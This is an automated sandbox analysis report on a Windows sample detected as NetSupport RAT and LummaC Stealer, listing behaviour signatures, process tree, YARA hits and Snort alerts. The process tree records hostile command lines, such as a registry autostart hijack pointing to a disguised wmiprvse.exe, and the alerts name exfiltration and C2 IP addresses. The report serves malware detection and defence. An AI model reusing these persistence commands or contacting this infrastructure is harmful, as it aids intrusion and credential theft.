Edit tour

Windows Analysis Report
ZmWSzgevgt.exe

Overview

General Information

Sample name:	ZmWSzgevgt.exe renamed because original name is a hash value
Original sample name:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724.exe
Analysis ID:	1354609
MD5:	2deaf2be4672bf6457e136d78a7a3940
SHA1:	f8460d05dbdb1c171818510c9685847d00468349
SHA256:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724
Tags:	exe
Infos:

Detection

NetSupport RAT, LummaC Stealer

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Binary is likely a compiled AutoIt script file

Connects to many ports of the same IP (likely port scanning)

Contains functionality to detect sleep reduction / modifications

Creates an undocumented autostart registry key

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Obfuscated command line found

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Yara detected Generic Downloader

Adds / modifies Windows certificates

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML title does not match URL

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Stores large binary data to the registry

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

ZmWSzgevgt.exe (PID: 3436 cmdline: C:\Users\user\Desktop\ZmWSzgevgt.exe MD5: 2DEAF2BE4672BF6457E136D78A7A3940)

ZmWSzgevgt.tmp (PID: 2952 cmdline: "C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp" /SL5="$10450,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe" MD5: BE0E74DC6AC70C5B8CC74C42B6999A70)

setup.exe (PID: 6400 cmdline: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe MD5: ACA06319EC01C3DB9FFC2EA4CD8505B2)

setup.tmp (PID: 5256 cmdline: "C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp" /SL5="$104CA,4289520,832512,C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe" MD5: C039C014580F43E5B8162552F3CAF067)

a0.exe (PID: 6544 cmdline: "C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598 MD5: 5AFE9D5A2BCC39B1E0573A77EFBE82B7)

a0.tmp (PID: 6948 cmdline: "C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp" /SL5="$50222,10235147,832512,C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598 MD5: AD96645518D5ABDD4F96B007E799F61E)

cmd.exe (PID: 5020 cmdline: "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* %ProgramData% MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 4612 cmdline: expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData MD5: 544B0DBFF3F393BCE8BB9D815F532D51)

cmd.exe (PID: 2556 cmdline: "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2616 cmdline: reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

wmiprvse.exe (PID: 3160 cmdline: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe MD5: 261D6E9D4571D1938CB54A2AE1B1821D)

cmd.exe (PID: 2364 cmdline: "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1888,i,7072999325873136118,17384098712178890255,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

a1.exe (PID: 5648 cmdline: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe" /qn CAMPAIGN="2598 MD5: FA24733F5A6A6F44D0E65D7D98B84AA6)

msiexec.exe (PID: 6204 cmdline: C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598 MD5: 9D09DC1EDA745A5F87553048E57620CF)

a3.exe (PID: 5564 cmdline: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe MD5: 3372EE41B0B68A033CD0EA3120594E29)

1922353491.exe (PID: 5896 cmdline: C:\Users\user\AppData\Local\Temp\1922353491.exe MD5: AC87E1B8B3A20F9AD653699B10768BED)

msiexec.exe (PID: 5652 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 2676 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 422D03AD2CDBB69F557E245BAEF1ACF7 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 4444 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 6BF05F187B53BFBF47C225A377385DB6 MD5: 9D09DC1EDA745A5F87553048E57620CF)

taskkill.exe (PID: 3628 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4140 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding BC9F21BCEFC691B566B836C637BCC195 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6668 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 408DB6826F1036348B5DAAE317AF6166 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 3196 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 90A02CAD9630D51876E2B2B6E897E85F E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

taskkill.exe (PID: 5856 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3344 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6600 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Windows Updater.exe (PID: 2360 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui MD5: F95007206C6B2407FB69748EF7C93612)

Windows Updater.exe (PID: 6584 cmdline: C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini MD5: F95007206C6B2407FB69748EF7C93612)

v113.exe (PID: 3408 cmdline: "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" MD5: 8CAD036C5CFED94D5319A060C488E38F)

msiexec.exe (PID: 6204 cmdline: "C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 " MD5: 9D09DC1EDA745A5F87553048E57620CF)

v114.exe (PID: 12248 cmdline: "C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe" MD5: 5DC644E00D9553FC167CB649087B8089)

AdvancedWindowsManager.exe (PID: 7164 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 5068 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 7828 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 8584 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 8700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 8708 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 9560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 9580 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 10416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3928353533.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000024.00000002.3681239071.0000000000B21000.00000040.00000001.01000000.00000026.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000F.00000000.2909427873.00000000003E2000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000F.00000002.3910783997.00000000003E2000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000024.00000003.3305708382.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: expand.exe PID: 4612	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: wmiprvse.exe PID: 3160	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: wmiprvse.exe PID: 3160	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: 1922353491.exe PID: 5896	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1922353491.exe PID: 5896	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1922353491.exe PID: 5896	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1922353491.exe PID: 5896	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.wmiprvse.exe.6bfc0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
15.2.wmiprvse.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.0.wmiprvse.exe.3e0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.3e0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.6b890000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.6bfe0000.7.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.6bcd0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
15.2.wmiprvse.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
15.2.wmiprvse.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350296812046045 12/06/23-14:36:21.023223
SID:	2046045
Source Port:	50296
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350339812046045 12/06/23-14:36:51.222959
SID:	2046045
Source Port:	50339
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550240802048094 12/06/23-14:35:36.356295
SID:	2048094
Source Port:	50240
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350333812046045 12/06/23-14:36:47.245112
SID:	2046045
Source Port:	50333
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350342812046045 12/06/23-14:36:53.204282
SID:	2046045
Source Port:	50342
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Lumma Stealer Related Activity - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802855505 12/06/23-14:35:05.037520
SID:	2855505
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350281812046045 12/06/23-14:36:10.745594
SID:	2046045
Source Port:	50281
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350290812046045 12/06/23-14:36:17.057630
SID:	2046045
Source Port:	50290
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350278812046045 12/06/23-14:36:08.769868
SID:	2046045
Source Port:	50278
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350253812046045 12/06/23-14:35:52.149838
SID:	2046045
Source Port:	50253
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350351812046045 12/06/23-14:36:59.140117
SID:	2046045
Source Port:	50351
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350367812046045 12/06/23-14:37:10.788474
SID:	2046045
Source Port:	50367
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350287812046045 12/06/23-14:36:15.015230
SID:	2046045
Source Port:	50287
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350324812046045 12/06/23-14:36:39.669230
SID:	2046045
Source Port:	50324
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350315812046045 12/06/23-14:36:33.722404
SID:	2046045
Source Port:	50315
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350306812046045 12/06/23-14:36:27.603943
SID:	2046045
Source Port:	50306
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350280812046045 12/06/23-14:36:10.078872
SID:	2046045
Source Port:	50280
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350269812046045 12/06/23-14:36:02.831888
SID:	2046045
Source Port:	50269
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350323812046045 12/06/23-14:36:38.995481
SID:	2046045
Source Port:	50323
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350262812046045 12/06/23-14:35:58.204295
SID:	2046045
Source Port:	50262
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350297812046045 12/06/23-14:36:21.680969
SID:	2046045
Source Port:	50297
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350300812046045 12/06/23-14:36:23.660225
SID:	2046045
Source Port:	50300
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350358812046045 12/06/23-14:37:04.890944
SID:	2046045
Source Port:	50358
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350357812046045 12/06/23-14:37:03.144834
SID:	2046045
Source Port:	50357
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller) - Source IP: 192.168.2.5 - Destination IP: 157.230.96.32

Timestamp:	192.168.2.5157.230.96.3250126802834928 12/06/23-14:33:41.532380
SID:	2834928
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350316812046045 12/06/23-14:36:34.370818
SID:	2046045
Source Port:	50316
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350370812046045 12/06/23-14:37:12.776192
SID:	2046045
Source Port:	50370
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350305812046045 12/06/23-14:36:26.947206
SID:	2046045
Source Port:	50305
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

